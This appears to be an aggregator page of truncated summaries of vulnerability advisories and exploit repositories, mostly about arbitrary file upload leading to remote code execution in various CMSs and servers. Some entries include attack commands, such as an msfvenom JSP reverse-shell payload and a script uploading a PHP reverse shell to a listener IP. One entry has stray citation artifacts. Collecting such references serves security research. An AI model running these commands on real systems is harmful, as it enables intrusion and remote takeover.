Vulnerability of “Before and After Photos”: Comparison of images before/after by a content management system (CMS) like 1C-Bitrix. This feature allows unauthorized users to execute arbitrary code by enabling unlimited uploading of dangerous types of files.

Vulnerability of “Before and After Photos”: Comparison of images before/after by a content management system CMS like 1C-Bitrix. Website management involves unlimited uploading of dangerous files. Exploitation of this vulnerability could allow an attacker to execute arbitrary code remotely...

The vulnerability of the OpenSky flight planning and operational management system, related to unlimited loading of dangerous file types, allows a perpetrator to execute arbitrary commands.

The vulnerability of the OpenSky flight planning and operational management system lies in its ability to load files of a dangerous type without limitation. Exploiting this vulnerability could allow a malicious actor, operating remotely, to execute arbitrary code...

EUVD-2023-60704

H3C CVM, the Cloud Virtualization Management component of the H3C CAS cloud platform, contains an unauthenticated arbitrary file upload vulnerability in the /cas/fileUpload/upload endpoint that allows remote attackers to write arbitrary files by manipulating the caller-supplied token parameter...

exploit-CVE-2020-5844

CVE-2020-5844（Pandora FMS v7.0NG.742）のエクスプロイト - リモートコード実行 このリポジトリが気に入ったら ⭐ をお願いします！ 教育目的および許可されたセキュリティ研究目的に限ります。 エクスプロイト作成者 @UNICORDev by @NicPWNs と @Dev-Yeoj 脆弱性の説明 Pandora FMS v7.0 NG の index.php?sec=godmode/extensions&sec2=extensions/filesrepo...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce プロトコルが無い場合 → スクリプトが自動的に http:// を追加します 2️⃣ シェルを追加 シェルファイルを同じディレクトリに配置: shell.php 3️⃣ エクスプロイトを実行 python3 CVE-2026-3891.py 4️⃣ 対話式入力 スクリプトが次の項目を尋ねます: ターゲットファイル（デフォルト: list.txt） スレッド数（デフォルト: 8） シェルファイル名（例: shell.php） ⚡ エクスプロイトの流れ 1. 🎯 ターゲットを読み込み 2...

dp_crypto

dpcrypto Base64ベースの暗号化オラクルエクスプロイト（CVE-2017-9248、Telerik UI for ASP.NET AJAX ダイアログハンドラ対象） exploit-db に掲載 2020年更新 - exploit-db上のバージョンは、こちらのGitHub上の最新バージョンと比較してかなり古くなっていますのでご注意ください。 https://www.exploit-db.com/exploits/43873/ 関連情報 もう一つのTelerik...

CVE-2022-28219

CVE-2022-28219 针对受影响 build 版本低于 7060 的 ManageEngine ADAudit Plus 的 CVE-2022-28219 POC 技术分析 更多详情请参阅我们的博客： https://www.horizon3.ai/red-team-blog-cve-2022-28219 使用方法 % python3 CVE-2022-28219.py -h usage: CVE-2022-28219.py -h -t TARGET -l LHOST -d DOMAIN -lhp HTTPPORT -lfp FTPPORT -f FILE -c COMMAND ...

cve-disclosures

CVE 披露 — Aman Bahiniya MITRE 于 2024 年 12 月分配了三个 CVE。这些记录已被保留但从未 发布，因此目前尚无任何索引。本仓库发布这些公告，以便 这些 CVE 变得可搜索并获得归属。 CVE| 产品| 类型 ---|---|--- CVE-2024-57551| Online Food Ordering System v2.0| 任意文件上传 → RCE CVE-2024-57552| Online Food Ordering System v2.0| 存储型 XSS CVE-2024-57553| Online Flight Booking...

CVE-2021-22005-metasploit

CVE-2021-22005-metasploit CVE-2021-22005（VMware vCenter Server の任意ファイルアップロード脆弱性）に関する metasploit スクリプト（POC/EXP） POCの準備 git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp...

monstra_cms-3.0.4--getshell

monstracms-3.0.4--getshell monstracms-3.0.4-getshellアップロード CVE- 2018-17418 コード分析（Code analysis）： monstra\plugins\box\filesmanager\ filesmanager.admin.php の150行目に、ブラックリスト制限用の forbiddentypes 変数があります。この変数を追跡します。 同ファイルの22行目に関連するブラックリストが見つかります。大文字と小文字の違いを利用してバイパスできます。...

CVE-2025-3515

CVE-2025-3515 CVE‑2025‑3515 — Contact Form 7用ドラッグ＆ドロップ複数ファイルアップロード 説明: drag‑and‑drop‑multiple‑file‑upload‑contact‑form‑7 ≤1.3.8.9を介した任意のファイルアップロードにより、.pharファイルのアップロードが可能となり、Apache+modphpでリモートコード実行に至る :contentReferenceoaicite:29index=29. CVSS v3.1: 8.1 高 :contentReferenceoaicite:30index=30 パッチ:...

CVE-2023-4596

CVE-2023-4596 CVE-2023-4596 の PoC スクリプト。任意のファイルアップロードによる認証なしのリモートコマンド実行。 使用中のPoCの動画 Nuclei テンプレート ニュース記事 WordFence NVD Nist 概要...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomlaコンポーネント 認証なしファイルアップロードRCE 分割コントローラのアップロードバイパス → 直接書き込みタスク → /downloads/shell.php → RCE 概要 CVE-2026-57827 は、Joomla 向けのファイル管理・ダウンロードコンポーネントとして広く利用されている RSFiles! comrsfiles のバージョン 発見者: Phil Taylor, mySites.guru（2026年7月10日） ベンダー: RSJoomla（rsjoomla.com） コンポーネント:...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - 任意ファイルアップロード CVE-2015-6967 必要条件 python 3 requests 使い方 usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, -l URL --username USERNAME, -u USERNAME...

CVE-2018-2894

CVE-2018-2894 CVE-2018-2894 WebLogic の未認証アクセスによる任意ファイルアップロード/RCE脆弱性 確認スクリプト...

CVE-2025-29017

CVE-2025-29017 - Internet Banking System 2.0.0 プロフィール画像アップロードによるリモートコード実行 説明 Code Astro Internet Banking System 2.0.0 には、pagesviewclient.php 内の profilepic パラメータにおける不適切なファイルアップロード検証 により、リモートコード実行 RCE の脆弱性が存在します。攻撃者はアップロードリクエストを変更することでセキュリティチェックをバイパスし、任意のコード実行 が可能になります。 影響を受けるコンポーネント...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...

CVE-2009-2265

バージョン: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 例 :...

CVE-2023-50164-Apache-Struts-RCE

CVE-2023-50164-Apache-Struts-RCEのテストに使用できる脆弱なWARファイルとDockerファイルが含まれています。 このDockerfileと脆弱なアプリケーションは、https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE のリソースとコードを使用してコンパイルおよび設計されています。このような詳細なリソースとエクスプロイトを提供してくれた彼に感謝します。 詳細な分析とエクスプロイトスクリプトについては、参考セクションに記載されているリポジトリとブログを必ず確認してください。...

CVE-2021-32708

CVE-2021-32708 Affected versions of this package are vulnerable to Race Condition. The whitespace normalisation using in 1.x and 2.x removes any unicode whitespace. Under certain specific conditions this could potentially allow a malicious user to execute code remotely. How the Exploit Works...